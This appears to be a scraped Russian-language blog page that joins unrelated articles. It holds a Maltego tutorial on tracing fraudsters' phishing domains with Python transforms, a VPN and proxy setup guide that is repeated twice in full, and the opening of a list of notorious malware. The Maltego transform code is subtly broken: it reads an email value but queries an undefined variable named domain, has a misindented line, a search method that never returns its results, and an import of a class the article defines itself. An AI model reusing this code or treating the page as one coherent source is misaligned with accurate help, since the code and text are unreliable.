Гипотезы: Из логов мы можем как минимум узнать IP-адреса, значения сookie, User-Agent браузера и другие параметры системы, таким образом получить цифровой отпечаток злоумышленника. Потому что при создании нового аккаунта в Личном кабинете для регистрации домена необходимо указать email, телефон, а также в некоторых случаях ФИО, адрес и паспортные данные.

Более того, мошенник может забыть скрыть свой настоящий IP-адрес, используя proxy или VPN, и тем самым выдать себя. Или в одной сессии зайти в два своих аккаунта, благодаря чему мы легко найдём связь между ними. Он может указать одинаковые регистрационные данные, такие как email и телефон. Также косвенные признаки, например, использование специфичного почтового сервиса для регистрации большого количества email.

Чем больше данных мы обработаем, тем выше вероятность обнаружения взаимосвязей. Ручная обработка из разных источников (баз данных, логов) и их сопоставление – довольно трудозатратное и рутинное занятие, которое может быть похоже на известный мем.


Поэтому обратимся к Maltego. Создадим новый граф и сразу добавим на него доменное имя MOB-VTB-24.RU.


В Entity Palette доступен список типов объектов, которые можно перетащить на граф. Найдём там объект Domain и перетащим его в основное окно графа и зададим доменное имя.


Вставлять объекты также можно из буфера обмена. Типы объектов Maltego распознаёт автоматически. Если распознавание прошло некорректно, можно изменить тип объекта, выбрав в контекстном меню Change Type.


В этом же контекстном меню можно выбирать и установленные трансформации.


Добавление новых типов Entities

В первую очередь нам нужно получить регистрационную информацию домена (ФИО, email и телефон) и аккаунт его владельца из базы данных. Для этого нужно создать тип объекта User (для отображения аккаунта), а также написать трансформации для поиска домена по базе. Все запросы в базу, указанные ниже, изменены и упрощены, и служат только для образовательных целей.

Найдём во вкладке Entities мастер создания типов объектов.


Создадим тип объекта User и настроим основное свойство объекта: user_id



Теперь добавим трансформацию, которая будет выводить данные домена и аккаунт владельца

Библиотека для написания трансформаций maltego_trx

Для написания трансформаций будем использовать Python-библиотеку под названием maltego_trx (https://github.com/paterva/maltego-trx/) для Python версии 3.6 и новее.

Установить библиотеку можно командой:

        pip install maltego-trx
    

После установки создаём новый проект:

        maltego-trx start new_project
    

После создания проекта файлы для наших трансформаций будут располагаться в папке new_project/transforms/

Пример: трансформация GreetPerson

В качестве примера рассмотрим трансформацию GreetPerson, которая уже есть в папке, она выводит приветствие:

new_project/transforms/GreetPerson.py
        from maltego_trx.entities import Phrase
from maltego_trx.transform import DiscoverableTransform
 
class GreetPerson(DiscoverableTransform):
   """
   Returns a phrase greeting a person on the graph.
   """
   @classmethod
   def create_entities(cls, request, response):
       person_name = request.Value
       response.addEntity(Phrase, "Hi %s, nice to meet you!" % person_name)
    

Создание трансформации SearchDomain

Для трансформации нужно создать новый класс и унаследовать его от DiscoverableTransform, переопределить метод create_entities, в котором и будет происходить вся логика по поиску данных и добавления объектов на граф.

Добавление объектов на граф выполняется с помощью метода response.addEntity.

        from maltego_trx.transform import DiscoverableTransform
import MySQLdb
 
# Наследуем наш класс от DiscoverableTransform
class SearchDomain(DiscoverableTransform):
   """
   Выполняет поиск домена.
   """
 
   # Переопределяем метод create_entities
   @classmethod
   def create_entities(cls, request, response):
       # Получаем входящее значение
       email = request.Value
 
       # Инициализируем подключение к базе
       db = MySQLdb.connect(host='database.host',
                           port='3306',
                           user='user',
                           passwd='password',
                           db='db',
                           charset="utf8")
       cursor = db.cursor(MySQLdb.cursors.DictCursor)
 
 
       # Выполняем поиск по таблице domains
       cursor.execute("""select user_id, name, phone, email
                           from domain
                           where domain = %s
           """, [domain])
 
      rows = cursor.fetchall()
 
       # В зависимости от поля добавляем на граф
       # объекты соответствующих типов
       for row in rows:
           response.addEntity('yourorganization.User', row['user_id'])
           response.addEntity('maltego.Person', row['name'])
           response.addEntity('maltego.PhoneNumber', row['phone'])
           response.addEntity('maltego.EmailAddress', row['email'])
    
Обратите внимание
Для добавления типа объекта нужно использовать Unique Type Name, которое мы указали при создании (yourorganization.User). Для встроенных объектов можно импортировать соответствующие классы из библиотеки Maltego.

        from maltego_trx.entities import Person
...
response.addEntity(Person, row['name'])
    

Для удобства можно сделать маппинг полей таблицы и объектов Maltego. Это будет полезно, когда разных объектов много.

        field_map = {
   'user_id': 'yourorganization.User',
   'name': 'maltego.Person',
   'phone': 'maltego.PhoneNumber',
   'email': 'maltego.EmailAddress'
}
for row in rows:
   for field in row:
       if field_map.get(field):
           response.addEntity(field_map[field], row[field])
    

Добавление трансформации в Maltego

Скрипт нашей трансформации готов, теперь нужно его добавить в Maltego.

Во вкладке Transforms найдём меню New Local Transform и заполним все необходимые параметры.


В значении Input Entity Type нужно выбрать тип объекта, над которым мы будем выполнять эту трансформацию. В этом примере это Person.


Зададим путь к интерпретатору Python3:

  • project.py – это основной скрипт проекта.
  • local означает, что трансформация будет работать локально (maltego_trx также позволяет запускать сервер трансформаций python project.py runserver).
  • searchdomain – это имя нашей трансформации, в зависимости от того как мы назвали класс.
  • Убедиться, что класс создан правильно и вывести список всех трансформаций проекта можно в директории проекта, выполнив команду python3 project.py list.

Запуск трансформаций

Наконец мы добрались до момента, когда можно запустить нашу трансформацию.



В окне Output можно увидеть логи, а также туда можно вывести отладочную информацию, если нужно найти ошибку в скрипте. Это можно сделать в настройках трансформации в Transform Manager, указав галочку Show debug info.


Каждый объект можно пометить флагом и комментарием:


Аналогичное действие можно сделать в коде трансформации при добавлении объекта:

  • добавить флажок;
        from maltego_trx.maltego import BOOKMARK_CLRS
...           
...
           me = response.addEntity(
               'yourorganization.User', user_id
               )
           me.setBookmark(BOOKMARK_CLRS["red"])

    
  • добавить заметку.
        me.setNote("Регистрирует фишинговые домены")

    

Итак, мы нашли аккаунт пользователя, телефон, email и ФИО. Можем выполнить обратный поиск по этим данным. Для этого нужно добавить соответствующие трансформации по аналогии с SearchEmail.

Обратный поиск


Поиск по номеру телефона выдал нам новые домены и другой аккаунт. Видно, что все домены так или иначе вызывают подозрения и связаны они не только с банками, но и с сервисом BlaBlaCar.

Повторив поиск, только по одному номеру телефона мы выявили ещё 88 доменов.


Выгрузив данные по найденным аккаунтам, получаем дополнительные адреса электронной почты и телефоны. Подключив в качестве источника, например, логи авторизации, найдём также IP-адреса, с которых был вход в найденные аккаунты.


Повторяя шаги по новым объектам, мы можем выявить таким образом целую сеть.


На первый взгляд огромный граф может выглядеть непонятно, но с помощью функции поиска мы можем отсортировать объекты по типу и получить полный список доменов, экспортировать его в нужном формате для дальнейшей работы.


Отсортировав в графе ненужные объекты, выгружаем список доменов и аккаунтов мошенника/ов. Далее, исходя из полученной информации, можно блокировать аккаунты, домены и противодействовать мошеннической активности.

Это только один из примеров, когда можно использовать Maltego для расследований и анализа большого количества взаимосвязанной информации. Можно продолжать добавлять источники и совершенствовать скрипты трансформаций.

Однако ещё один важный момент – оптимизация работы трансформаций с учётом ограничений. Об этом речь пойдёт ниже.

Оптимизация запросов с учётом ограничений

Лицензии Maltego Professional и Maltego Enterprise не имеют каких-либо ограничений. Однако, используя бесплатную версию Maltego Community Edition, можно столкнуться с ограничениями на вывод количества объектов – 12 штук за один раз. Чтобы вывести полный список объектов, нужно повторять трансформацию несколько раз. Ещё один нюанс в том, что это ограниченное число объектов каждый раз выводится случайным образом, но не по порядку, то есть трансформация второй раз может вывести те же результаты, что уже есть на графе. Это дополнительно вынуждает запускать трансформацию.

Немного сгладить этот недостаток можно, усовершенствовав скрипты трансформаций и выводить объекты по порядку и, таким образом, уменьшить количество запросов в базу данных.

Как это сделать – в конце статьи, а пока продолжим поиски.

Итак, доработаем наши трансформации, чтобы выводить объекты по порядку по 12 штук. Оптимизируем следующим образом:

  • При первом запуске трансформации делаем запрос в базу.
  • Выводим на экран 12 объектов, остальные сохраняем во временном хранилище, например, в файле.
  • При повторных запусках считываем объекты из файла по 12 штук. Для этого создадим общий класс для трансформаций, которые будут работать с кэшем. И остальные трансформации будем наследовать уже от него.

CacheTransform

        from maltego_trx.transform import DiscoverableTransform
import zlib
import json
 
class CacheTransform(DiscoverableTransform):
   # Переопределяем основной метод,
   # который будет выводить объекты на экран
   @classmethod
   def create_entities(cls, request, response):
       # Получаем входное значение
       value = request.Value
 
       # Кэшированные объекты будем сохранять
       # в файле. Сгенерируем уникальное имя файла
       # на основе имени класса и входного значения
       transform = cls.__name__
       # Входное значение может быть разной длины
       # и содержать небезопасные символы.
       # Поэтому посчитаем контрольную сумму
       crc = zlib.crc32(bytes(value, 'utf-8'))
 
       filename = f"/tmp/maltego_{transform}{crc}"
 
       # Сначала проверим не было ли уже
       # что-то записано в кэш
       cache = cls.extract_from_cache(response, filename)
 
       # Если в кэше что-то уже есть то читаем оттуда
       if cache is not None and len(cache) > 0:
           for entity in cache:
               response.addEntity(entity["entity_type"], entity["value"])
      
       # Если кэш не обнаружен, то выполняем поиск
       else:
           entities = cls.search_entities(value)
           # Выводим на экран первые 12 объектов
           head = entities[:12:]
           for entity in head:
               response.addEntity(entity["entity_type"], entity["value"])
 
           # Остальные сохраняем в кэш
           tail = entities[12::]
           if len(tail) > 0:
               # Выведем в окно Output сообщение о том,
               # сколько элементов было добавлено в кэш
               response.addUIMessage(f"Добавлено в кэш {len(tail)} штук")
               with open(filename, 'w', encoding='utf-8') as w_file:
                   # Для безопасного сохранения объектов
                   # используем формат JSON
                   json.dump(tail, w_file)
 
   @staticmethod
   def extract_from_cache(response, filename):
       """
           Читает первые 12 элементов и удаляет их из кэша
       """
       try:
           with open(f"{filename}", 'r', encoding='utf-8') as file:
               entities = json.load(file)
               if len(entities) > 0:
                   head = entities[:12:]
                   tail = entities[12::]
                   with open(f"{filename}", 'w', encoding='utf-8') as w_file:
                       response.addUIMessage(
                           f"Осталось в кэше {len(tail)} штук"
                       )
                       json.dump(tail, w_file)
                   return head
               else:
                   return []
       except FileNotFoundError:
           return None
 
   @staticmethod
   def search_entities(value):
       """
           Метод для поиска данных во внешних источниках
       """
       entities = list()
       for i in range(1, 15):
           entities.append(
               {
                   "entity_type": "maltego.Phrase",
                   "value": f"Test {i}"
               }
           )
 
       return entities

    

Пробуем запустить:


Трансформация вывела на экран 12 объектов и 2 записала в кэш. Вот как выглядит файл с кэшем:


Трансформация SearchDomain (улучшенная)

Теперь мы можем немного модифицировать и ту трансформацию, что создали вначале.

        from maltego_trx.transform import CacheTransform
import MySQLdb
# На этот раз наследуем уже
# от CacheTransform
class SearchDomain(CacheTransform):
   """
   Выполняет поиск домена.
   """
 
   # Переопределяем другой метод search_entities
   @classmethod
   def search_entities(value):
       # Получаем входящее значение
       email = value
 
       # Инициализируем подключение к базе
       db = MySQLdb.connect(host='database.host',
                           port='3306',
                           user='user',
                           passwd='password',
                           db='db',
                           charset="utf8")
       cursor = db.cursor(MySQLdb.cursors.DictCursor)
 
 
       # Выполняем поиск по таблице domains
       cursor.execute("""select user_id, name, phone, email
                           from domain
                           where domain = %s
           """, [domain])
 
       rows = cursor.fetchall()
 
       # В зависимости от поля добавляем на граф
       # объекты соответствующих типов
      
       field_map = {
       'user_id': 'yourorganization.User',
       'name': 'maltego.Person',
       'phone': 'maltego.PhoneNumber',
       'email': 'maltego.EmailAddress'
       }
      
       # Сохраняем найденные объекты в массив
       # А вся логика по выводу и кэшированию
       # выполнится в родительском классе
       entities = list()
       for row in rows:
           for field in row:
               if field_map.get(field):
                   entities.append({
                       "entity_type": field_map[field],
                       "value": row[field]
                       })

    

Теперь если поиск вернёт много объектов, то нам не придётся снова и снова выполнять запросы в базу, можно постепенно вывести все элементы на экран из кэша.

***

Maltego упрощает процесс расследования благодаря автоматизации поиска и представления данных в графическом виде. В статье мы рассмотрели далеко не весь функционал программы. Например, это удобные функции по анализу информации, уже представленной на графе, возможности экспорта данных, объединение трансформаций в так называемые «‎машины»‎ для ещё большей оптимизации поиска. Всё это можно использовать не только для расследования но и для задач поиска информации по открытым источникам (OSINT).

09
Ноя
2021

🛠 Обход блокировок для чайников: как настроить свой VPN и прокси-сервер?

Даже если вам не нужно обходить блокировки, виртуальная частная сеть и прокси-сервер могут потребоваться для доступа к неработающим в России сервисам или для защиты данных от злоумышленников. Рассказываем, как настроить и раздать OpenVPN через Pritunl и прокси Shadowsocks с помощью Outline.

Что произошло?
Каких-то пять лет назад, госаппарат с трудом осваивал Paint и допускал ошибки в произнесение IT-терминов. Над ним все смеялись и показывали пальцем: «Ну, какое IT, my friend?». В 2021 году, видимо, прокачавшись на YouTube-роликах, он более-менее успешно научился блокировать сайты и замедлять доступ к нежелательным ресурсам.

Чем ответили юзеры?
Для обхода блокировок пользователи начали активно покупать подписки на VPN-сервисы (шифруют соединение) или прокси (не шифруют соединение).

Контрмеры властей
В 2021 году Роскомнадзор заблокировал популярные VPN-сервисы, отказавшиеся выполнять требование российского законодательства – с 2017 года VPN-сервисы обязаны блокировать доступ к запрещенным сайтам.

Что делать?

Получается, крупные игроки первыми попадают под блокировку. Поэтому, у нас два варианта:

  • Пользоваться услугами компаний-середнячков.
  • Научиться ставить VPN и прокси самостоятельно.

Первый вариант удобнее: можно выбрать разные локации, есть подписки для нескольких устройств и удобные приложения для смартфонов. Но вместо VPN могут подсунуть обычный прокси и слить персональные данные. Второй вариант безопаснее и дешевле, но требует технических навыков (совсем небольших).

Где искать зарубежные VPN-сервисы?

На сайтах-агрегаторах VPN:

Таблица доступных в РФ VPN-сервисов:

VPN Кол-во локаций Кол-во устройств
cyberghostvpn.com 60 7
perfect-privacy.com 23
torguard.net 53 5
hide.me 34 5
privadovpn.com 45 10
f-secure.com 23 7
vpnsecure.me 50 5
time4vps.com 13 6
airvpn.org 20 5
Хочу сделать все своими руками. С чего начать?
Для начала, нужно купить зарубежный сервер VPS/VDS. В среднем сервер стоит 1.5-3$ в месяц.

Где искать зарубежные серверы?

На сайтах-агрегаторах VPS/VDS:

Когда сервер куплен, можно приступать к установке VPN/прокси.

Больше полезной информации вы найдете на нашем телеграм-канале «Библиотека программиста».

1. OpenVPN и Pritunl

Pritunl – свободное ПО, предоставляющее веб-интерфейс для управления OpenVPN и Wireguard.

1.1. Установка Pritunl

Обновим список пакетов и систему:

        sudo apt update && sudo apt upgrade
    

Добавим Pritunl в репозиторий:

        sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com --recv 7568D9BB55FF9E5287D586017AE645C0CF8E292A

sudo tee /etc/apt/sources.list.d/pritunl.list << EOF
deb https://repo.pritunl.com/stable/apt focal main
EOF
    

Установим Pritunl:

        sudo apt update
sudo apt install pritunl
    

Запустим и активируем Pritunl:

        sudo systemctl start pritunl
sudo systemctl enable pritunl
    

Проверим, запущен ли Prtinul:

        sudo systemctl status pritunl
    

Если все работает, то увидим следующую запись:

        ● pritunl.service - Pritunl Daemon
     Loaded: loaded (/etc/systemd/system/pritunl.service; enabled; vendor preset: enabled)
     Active: active (running) since Tue 2021-10-26 15:35:10 EEST; 15s ago
   Main PID: 3716 (pritunl)
      Tasks: 19 (limit: 2282)
     Memory: 283.7M
     CGroup: /system.slice/pritunl.service
             ├─3716 /usr/lib/pritunl/bin/python /usr/lib/pritunl/bin/pritunl start
             └─3792 pritunl-web
    

Добавим MongoDB в репозиторий:

        sudo tee /etc/apt/sources.list.d/mongodb-org-4.4.list << EOF
deb https://repo.mongodb.org/apt/ubuntu focal/mongodb-org/4.4 multiverse
EOF

wget -qO - https://www.mongodb.org/static/pgp/server-4.4.asc | sudo apt-key add -
    

Установим MongoDB:

        sudo apt update
sudo apt-get install mongodb-org
    

Запустим MongoDB:

        sudo systemctl start mongod
sudo systemctl enable mongod
    

Проверим, запущен ли MongoDB:

        sudo systemctl status mongod
    

Если сервис запущен, то мы получим следующий вывод:

        ● mongod.service - MongoDB Database Server
     Loaded: loaded (/lib/systemd/system/mongod.service; enabled; vendor preset: enabled)
     Active: active (running) since Tue 2021-10-26 15:59:20 EEST; 54s ago
       Docs: https://docs.mongodb.org/manual
   Main PID: 68587 (mongod)
     Memory: 64.1M
     CGroup: /system.slice/mongod.service
             └─68587 /usr/bin/mongod --config /etc/mongod.conf
    

Зайдем на сервер по IP-адресу https://IP-address.


Чтобы получить установочный ключ, введем в терминале:

         sudo pritunl setup-key
    
Установка Pritunl
Установка Pritunl

Сгенерируем пару логин/пароль:

        sudo pritunl default-password
    

Зайдем еще раз на сервер по IP:

Вход в веб-интерфейс Pritunl
Вход в веб-интерфейс Pritunl

1.2. Настройка Pritunl

Чтобы начать пользоваться Pritunl нужно:

  1. Создать сервер Pritunl.
  2. Создать организацию и прикрепить ее к серверу.
  3. Создать пользователя и прикрепить его к организации.

Создание сервера

Чтобы создать сервер, перейдем во вкладку ServersAdd Server и активируем вкладку Advanced:

Создание сервера в Pritunl
Создание сервера в Pritunl

Добавим сервер и нажмем на кнопку Start для его запуска.

Создание организации

Перейдем во вкладку UsersAdd Organization и добавим новую организацию:

Создание организации в Pritunl
Создание организации в Pritunl

Прикрепим организацию к серверу. Для этого перейдем во вкладку ServersAttach Organization:

Прикрепление организации к серверу в Pritunl
Прикрепление организации к серверу в Pritunl

Создание пользователя

Чтобы создать пользователя, перейдем во вкладку UsersAdd User:

Создание пользователя в Pritunl
Создание пользователя в Pritunl

1.3. Раздаем ключи

Чтобы подключиться к VPN, скачаем и установим клиент для своей ОС pritunl.com/platforms. Вернемся к серверу и перейдем во вкладку UsersAdd User, и кликнем по значку цепочки:

Раздача ключей в Pritunl
Раздача ключей в Pritunl

Скопируем URI-ссылку:

Раздача ключей в Pritunl
Раздача ключей в Pritunl

Вставим URI-ссылку в клиент и подключимся к VPN:

Соединение с сервером Pritunl
Соединение с сервером Pritunl

Мы подключились к серверу.

2. Shadowsocks и Outline

Outline создан стартапом Jigsaw, примкнувшим к компании Google. Под капотом у Outline находится протокол Shadowsocks, который маскирует данные под HTTPS-трафик.

Для установки Outline потребуется Docker.

2.1. Установка Docker

Обновим список пакетов:

        sudo apt update
    

Установим пакеты, которые позволят apt устанавливать пакеты через HTTPS:

        sudo apt install apt-transport-https ca-certificates curl software-properties-common
    

Добавим ключ GPG для репозитория Docker в систему:

        curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
    

Добавим репозиторий Docker в систему:

        sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu focal stable"
    

Обновим список пакетов:

        sudo apt update
    

Установим Docker:

        sudo apt install docker-ce
    

2.2. Установка менеджера Outline

C помощью менеджера Outline можно добавлять и удалять сервера и раздавать ключи. Скачаем менеджер по ссылке getoutline.org/ru/get-started:

Установка менеджера Outline
Установка менеджера Outline

Выберем Настройте Outline где угодно:

Установка Outline на сервер
Установка Outline на сервер

Чтобы установить Outline, введем на сервере команду из пункта 1:

Команда для установки Outline на сервер
Команда для установки Outline на сервер

После установки Outline мы получим строчку с инфой о нашем Outline-сервере в формате JSON:


Скопируем JSON-строку, вставим ее во второе поле Менеджера Outline и нажмем Готово.


Теперь мы можем поделиться ключом доступа с кем угодно:

Менеджер Outline
Менеджер Outline

2.3. Раздаем ключи

Скачаем и установим клиент Outline:

Установка клиента Outline
Установка клиента Outline

Откроем менеджер Outline и скопируем ключ в клиент Outlline:

Подключение к серверу Outline
Подключение к серверу Outline
Подключение к серверу Outline
Подключение к серверу Outline

Связь установлена:


Если в Windows 10 клиент Outline не подключается к серверу, то нужно отключить Hyper V. Для этого откроем PowerShell от имени администратора и введем:

        Disable-WindowsOptionalFeature -Online -FeatureName Microsoft-Hyper-V-Hypervisor
    
***

В этой статье мы научились:

  • создавать VPN-соединение с помощью Pritunl;
  • создавать прокси-сервер, используя Outline;
  • раздавать VPN и прокси другим пользователям.

Материалы по теме

09
Ноя
2021

🛠 Обход блокировок для чайников: как настроить свой VPN и прокси-сервер?

Даже если вам не нужно обходить блокировки, виртуальная частная сеть и прокси-сервер могут потребоваться для доступа к неработающим в России сервисам или для защиты данных от злоумышленников. Рассказываем, как настроить и раздать OpenVPN через Pritunl и прокси Shadowsocks с помощью Outline.

Что произошло?
Каких-то пять лет назад, госаппарат с трудом осваивал Paint и допускал ошибки в произнесение IT-терминов. Над ним все смеялись и показывали пальцем: «Ну, какое IT, my friend?». В 2021 году, видимо, прокачавшись на YouTube-роликах, он более-менее успешно научился блокировать сайты и замедлять доступ к нежелательным ресурсам.

Чем ответили юзеры?
Для обхода блокировок пользователи начали активно покупать подписки на VPN-сервисы (шифруют соединение) или прокси (не шифруют соединение).

Контрмеры властей
В 2021 году Роскомнадзор заблокировал популярные VPN-сервисы, отказавшиеся выполнять требование российского законодательства – с 2017 года VPN-сервисы обязаны блокировать доступ к запрещенным сайтам.

Что делать?

Получается, крупные игроки первыми попадают под блокировку. Поэтому, у нас два варианта:

  • Пользоваться услугами компаний-середнячков.
  • Научиться ставить VPN и прокси самостоятельно.

Первый вариант удобнее: можно выбрать разные локации, есть подписки для нескольких устройств и удобные приложения для смартфонов. Но вместо VPN могут подсунуть обычный прокси и слить персональные данные. Второй вариант безопаснее и дешевле, но требует технических навыков (совсем небольших).

Где искать зарубежные VPN-сервисы?

На сайтах-агрегаторах VPN:

Таблица доступных в РФ VPN-сервисов:

VPN Кол-во локаций Кол-во устройств
cyberghostvpn.com 60 7
perfect-privacy.com 23
torguard.net 53 5
hide.me 34 5
privadovpn.com 45 10
f-secure.com 23 7
vpnsecure.me 50 5
time4vps.com 13 6
airvpn.org 20 5
Хочу сделать все своими руками. С чего начать?
Для начала, нужно купить зарубежный сервер VPS/VDS. В среднем сервер стоит 1.5-3$ в месяц.

Где искать зарубежные серверы?

На сайтах-агрегаторах VPS/VDS:

Когда сервер куплен, можно приступать к установке VPN/прокси.

Больше полезной информации вы найдете на нашем телеграм-канале «Библиотека программиста».

1. OpenVPN и Pritunl

Pritunl – свободное ПО, предоставляющее веб-интерфейс для управления OpenVPN и Wireguard.

1.1. Установка Pritunl

Обновим список пакетов и систему:

        sudo apt update && sudo apt upgrade
    

Добавим Pritunl в репозиторий:

        sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com --recv 7568D9BB55FF9E5287D586017AE645C0CF8E292A

sudo tee /etc/apt/sources.list.d/pritunl.list << EOF
deb https://repo.pritunl.com/stable/apt focal main
EOF
    

Установим Pritunl:

        sudo apt update
sudo apt install pritunl
    

Запустим и активируем Pritunl:

        sudo systemctl start pritunl
sudo systemctl enable pritunl
    

Проверим, запущен ли Prtinul:

        sudo systemctl status pritunl
    

Если все работает, то увидим следующую запись:

        ● pritunl.service - Pritunl Daemon
     Loaded: loaded (/etc/systemd/system/pritunl.service; enabled; vendor preset: enabled)
     Active: active (running) since Tue 2021-10-26 15:35:10 EEST; 15s ago
   Main PID: 3716 (pritunl)
      Tasks: 19 (limit: 2282)
     Memory: 283.7M
     CGroup: /system.slice/pritunl.service
             ├─3716 /usr/lib/pritunl/bin/python /usr/lib/pritunl/bin/pritunl start
             └─3792 pritunl-web
    

Добавим MongoDB в репозиторий:

        sudo tee /etc/apt/sources.list.d/mongodb-org-4.4.list << EOF
deb https://repo.mongodb.org/apt/ubuntu focal/mongodb-org/4.4 multiverse
EOF

wget -qO - https://www.mongodb.org/static/pgp/server-4.4.asc | sudo apt-key add -
    

Установим MongoDB:

        sudo apt update
sudo apt-get install mongodb-org
    

Запустим MongoDB:

        sudo systemctl start mongod
sudo systemctl enable mongod
    

Проверим, запущен ли MongoDB:

        sudo systemctl status mongod
    

Если сервис запущен, то мы получим следующий вывод:

        ● mongod.service - MongoDB Database Server
     Loaded: loaded (/lib/systemd/system/mongod.service; enabled; vendor preset: enabled)
     Active: active (running) since Tue 2021-10-26 15:59:20 EEST; 54s ago
       Docs: https://docs.mongodb.org/manual
   Main PID: 68587 (mongod)
     Memory: 64.1M
     CGroup: /system.slice/mongod.service
             └─68587 /usr/bin/mongod --config /etc/mongod.conf
    

Зайдем на сервер по IP-адресу https://IP-address.


Чтобы получить установочный ключ, введем в терминале:

         sudo pritunl setup-key
    
Установка Pritunl
Установка Pritunl

Сгенерируем пару логин/пароль:

        sudo pritunl default-password
    

Зайдем еще раз на сервер по IP:

Вход в веб-интерфейс Pritunl
Вход в веб-интерфейс Pritunl

1.2. Настройка Pritunl

Чтобы начать пользоваться Pritunl нужно:

  1. Создать сервер Pritunl.
  2. Создать организацию и прикрепить ее к серверу.
  3. Создать пользователя и прикрепить его к организации.

Создание сервера

Чтобы создать сервер, перейдем во вкладку ServersAdd Server и активируем вкладку Advanced:

Создание сервера в Pritunl
Создание сервера в Pritunl

Добавим сервер и нажмем на кнопку Start для его запуска.

Создание организации

Перейдем во вкладку UsersAdd Organization и добавим новую организацию:

Создание организации в Pritunl
Создание организации в Pritunl

Прикрепим организацию к серверу. Для этого перейдем во вкладку ServersAttach Organization:

Прикрепление организации к серверу в Pritunl
Прикрепление организации к серверу в Pritunl

Создание пользователя

Чтобы создать пользователя, перейдем во вкладку UsersAdd User:

Создание пользователя в Pritunl
Создание пользователя в Pritunl

1.3. Раздаем ключи

Чтобы подключиться к VPN, скачаем и установим клиент для своей ОС pritunl.com/platforms. Вернемся к серверу и перейдем во вкладку UsersAdd User, и кликнем по значку цепочки:

Раздача ключей в Pritunl
Раздача ключей в Pritunl

Скопируем URI-ссылку:

Раздача ключей в Pritunl
Раздача ключей в Pritunl

Вставим URI-ссылку в клиент и подключимся к VPN:

Соединение с сервером Pritunl
Соединение с сервером Pritunl

Мы подключились к серверу.

2. Shadowsocks и Outline

Outline создан стартапом Jigsaw, примкнувшим к компании Google. Под капотом у Outline находится протокол Shadowsocks, который маскирует данные под HTTPS-трафик.

Для установки Outline потребуется Docker.

2.1. Установка Docker

Обновим список пакетов:

        sudo apt update
    

Установим пакеты, которые позволят apt устанавливать пакеты через HTTPS:

        sudo apt install apt-transport-https ca-certificates curl software-properties-common
    

Добавим ключ GPG для репозитория Docker в систему:

        curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
    

Добавим репозиторий Docker в систему:

        sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu focal stable"
    

Обновим список пакетов:

        sudo apt update
    

Установим Docker:

        sudo apt install docker-ce
    

2.2. Установка менеджера Outline

C помощью менеджера Outline можно добавлять и удалять сервера и раздавать ключи. Скачаем менеджер по ссылке getoutline.org/ru/get-started:

Установка менеджера Outline
Установка менеджера Outline

Выберем Настройте Outline где угодно:

Установка Outline на сервер
Установка Outline на сервер

Чтобы установить Outline, введем на сервере команду из пункта 1:

Команда для установки Outline на сервер
Команда для установки Outline на сервер

После установки Outline мы получим строчку с инфой о нашем Outline-сервере в формате JSON:


Скопируем JSON-строку, вставим ее во второе поле Менеджера Outline и нажмем Готово.


Теперь мы можем поделиться ключом доступа с кем угодно:

Менеджер Outline
Менеджер Outline

2.3. Раздаем ключи

Скачаем и установим клиент Outline:

Установка клиента Outline
Установка клиента Outline

Откроем менеджер Outline и скопируем ключ в клиент Outlline:

Подключение к серверу Outline
Подключение к серверу Outline
Подключение к серверу Outline
Подключение к серверу Outline

Связь установлена:


Если в Windows 10 клиент Outline не подключается к серверу, то нужно отключить Hyper V. Для этого откроем PowerShell от имени администратора и введем:

        Disable-WindowsOptionalFeature -Online -FeatureName Microsoft-Hyper-V-Hypervisor
    
***

В этой статье мы научились:

  • создавать VPN-соединение с помощью Pritunl;
  • создавать прокси-сервер, используя Outline;
  • раздавать VPN и прокси другим пользователям.

Материалы по теме

01
Ноя
2021

🕵 10 самых опасных компьютерных вирусов нового века

Список наиболее опасных вирусов, нанесших в XXI веке значительный урон пользователям по всему миру.

Практически каждый пользователь компьютера хотя бы раз сталкивался с заражением машины вирусами, троянами и другими нехорошими вредоносными программами. На просторах сети их довольно много. Одни легко удаляются, а другие могут нанести серьезный ущерб не только компьютеру, но и его пользователю, а то и целой отрасли или стране. О последних и пойдет речь в нашем обзоре.

CryptoLocker


CryptoLocker Ransomware был выпущен в сентябре 2013 года. Вирус распространялся посредством электронной почты. Стоило пользователю открыть письмо, как прикрепленная к нему программа автоматически запускалась и зашифровывала все файлы на ПК. Чтобы вернуть контроль над ситуацией, жертва должна была заплатить кругленькую сумму в биткоинах в обмен на возможность доступа ко всем документам. После уплаты денег пользователь должен был получить закрытый ключ для восстановления доступа к файлам. Однако люди не знали, что после заражения файлы теряются навсегда.

Чтобы избежать заражения вирусом CryptoLocker нужно:

  • Обновить антивирусное программное обеспечение.
  • Игнорировать подозрительные электронные письма с вложениями и не нажимать на случайные нераспознанные ссылки.
  • Регулярно создавать резервные копии файлов.

К похожим опасным штаммам вымогателей также относятся вирусы Doppel Paymer и Bitpaymer от Evil Corp.

Zeus Gameover


Zeus впервые был обнаружен в 2011 году. Это приложение представляет собой разновидность вредоносного программного обеспечения, нацеленного на операционную систему Microsoft Windows. Два основных метода заражения – спам-сообщения и скрытые загрузки. Основная цель Zeus Gameover – получить доступ к конфиденциальным реквизитам банковского счета жертвы и списать с него все средства. Вирус может обходить защиту централизованных серверных систем и сканировать личную информацию пользователя. Пользователи даже не могут отследить каналы, по которым уходят их украденные данные. Также в некоторых случаях Zeus может загрузить программу-вымогатель, шифрующую файлы и требующую денег в обмен на их разблокировку.

Это зловредное приложение, как и рассмотренный ранее вирус CryptoLocker, создал российский хакер Евгений Богачев, за поимку которого, в феврале 2015 года ФБР предложило рекордное вознаграждение в размере 3 миллионов долларов.

Самый простой способ избавиться от вируса Zeus – использовать современное антивирусное программное обеспечение.

PlugX


Вредоносное ПО под названием Plug X – это троян с функцией удаленного доступа (RAT), также известный как «Korplug». Впервые он был обнаружен в 2012 году. Зловред поражал в основном государственные организации и распространялся через email и спам-кампании. Атака PlugX начинается с фишингового письма, содержащего вредоносное вложение. Как правило этот специально созданный вредоносный документ использует уязвимость в программах Adobe Acrobat Reader или Microsoft Word. При последующем расследовании и детальном изучении зловреда специалистами по кибербезопасности было установлено, что PlugX – тщательно подготовленная и хорошо продуманная программа, которая содержит несколько шпионских модулей для выполнения разного рода задач.

